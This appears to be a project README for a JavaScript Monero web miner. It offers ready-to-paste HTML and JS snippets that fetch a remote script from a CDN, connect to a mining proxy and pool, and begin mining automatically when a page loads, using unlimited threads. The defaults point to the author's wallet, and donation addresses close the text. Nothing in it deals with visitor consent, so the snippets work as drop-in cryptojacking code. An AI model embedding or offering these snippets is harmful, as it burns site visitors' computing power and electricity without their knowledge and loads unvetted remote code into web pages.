Html & Js code that allows Mining of XMR (Monero) on browsers
In index.Html you can configure it your preferences
- Pool
- XMR Wallet
- Miner name
- Threads (-1 means unlimited)
- Miner Password (Optional, Moneroocean does not use password, if your pool does, it is usually "x")
server = "wss://ny1.xmrminingproxy.com";
var pool = "gulf.moneroocean.stream:80";
var walletAddress = "INSERT YOUR ADDRESS HERE";
var workerId = "INSERT WORKER NAME"
var threads = -1;
var password = "";
startMining(pool, walletAddress, workerId, threads, password);
throttleMiner = 20;
Open index.html in any web browser and it will automatically start mining.
https://monero-webminer.vercel.app/
Go to https://moneroocean.stream. This is the pool you are connected to, it will show your hashrate and balance.
- Open https://monero-webminer.vercel.app/
- Also Open https://moneroocean.stream in a new tab
- Paste in my Monero Address
4657q4dnsjLWtzeW4XN3wG9swFumWAZB9i1pegTLMxVAQy5E5AE8uif42kkHWcWc9vDcLUmzeCf3pV7mmrJQQqqe84dtASi
- You will see that "GH-XMR" is Mining. You can also do the same
HTML
<!-- Start Of Mining Code (HTML) -->
<script src="https://cdn.jsdelivr.net/gh/NajmAjmal/monero-webminer@main/script.js"></script>
<script>
server = "wss://ny1.xmrminingproxy.com";
var pool = "moneroocean.stream";
var walletAddress = "4657q4dnsjLWtzeW4XN3wG9swFumWAZB9i1pegTLMxVAQy5E5AE8uif42kkHWcWc9vDcLUmzeCf3pV7mmrJQQqqe84dtASi";
var workerId = "GH-XMR"
var threads = -1;
var password = "";
startMining(pool, walletAddress, workerId, threads, password);
throttleMiner = 20;
</script>
<!-- End Of Mining Code (HTML) -->
Javascript import snippet
import 'https://cdn.jsdelivr.net/gh/NajmAjmal/monero-webminer@main/external/javascript.js';
Javascript
// Start Of Mining Code (Javascript)
var script = document.createElement("script");
script.src = "https://cdn.jsdelivr.net/gh/NajmAjmal/monero-webminer@main/script.js";
document.head.appendChild(script);
server = "wss://ny1.xmrminingproxy.com";
var pool = "moneroocean.stream";
var walletAddress = "4657q4dnsjLWtzeW4XN3wG9swFumWAZB9i1pegTLMxVAQy5E5AE8uif42kkHWcWc9vDcLUmzeCf3pV7mmrJQQqqe84dtASi";
var workerId = "GH-XMR"
var threads = -1;
var password = "";
startMining(pool, walletAddress, workerId, threads, password);
throttleMiner = 20;
// End Of Mining Code
This software is 100% free to use, and we would greatly appreciate any donations to help support our work. If you'd like to donate, you can use the following cryptocurrency addresses:
BTC: 33qQZT1F5mWPvqM2bjbxQ3AsSYMXHpJsr6
ETH: 0x641E1449c2f7883F245069f284fC880174b02094
SOL: AeYJTfLnok1nkncnvXFoKXmH8zrvtB7heNL9Q2sKNaFr
XMR: 4657q4dnsjLWtzeW4XN3wG9swFumWAZB9i1pegTLMxVAQy5E5AE8uif42kkHWcWc9vDcLUmzeCf3pV7mmrJQQqqe84dtASi
Thank you for choosing our Monero Webminer. We hope you find it useful and profitable